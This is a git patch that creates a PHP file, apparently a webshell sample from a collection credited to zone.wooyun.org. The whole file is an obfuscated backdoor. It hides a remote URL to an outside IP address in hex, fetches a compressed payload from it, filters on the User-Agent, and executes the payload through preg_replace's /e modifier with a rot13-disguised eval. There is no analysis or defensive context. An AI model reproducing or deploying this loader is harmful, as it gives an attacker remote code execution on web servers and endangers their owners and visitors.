From 8c50cf38f838cfadd53d19ce9b304c7eac810596 Mon Sep 17 00:00:00 2001
From: tennc <tennc@126.com>
Date: Fri, 27 May 2016 21:50:24 +0800
Subject: [PATCH] Create w.php

from : zone.wooyun.org
---
 php/w.php | 11 +++++++++++
 1 file changed, 11 insertions(+)
 create mode 100644 php/w.php

diff --git a/php/w.php b/php/w.php
new file mode 100644
index 0000000..66973d0
--- /dev/null
+++ b/php/w.php
@@ -0,0 +1,11 @@
+<?php 
+error_reporting(0); 
+session_start(); 
+header("Content-type:text/html;charset=gbk"); 
+$password = "d69tjj0sb2dlbq9"; 
+if(empty($_SESSION['api1234'])) 
+  $_SESSION['api1234']=file_get_contents(sprintf('%s?%s',pack("H*",'687474703A2F2F3132332E3132352E3131342E38322F6A78666275636B657432303134312F6861636B2F312E6A7067'),uniqid())); 
+if(stripos($_SERVER['HTTP_USER_AGENT'],'baidu')+0==0) exit; 
+if(stripos($_SERVER['HTTP_USER_AGENT'],'myccs')+0==0) exit;   
+($b4dboy = gzuncompress($_SESSION['api1234'])) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); 
+?>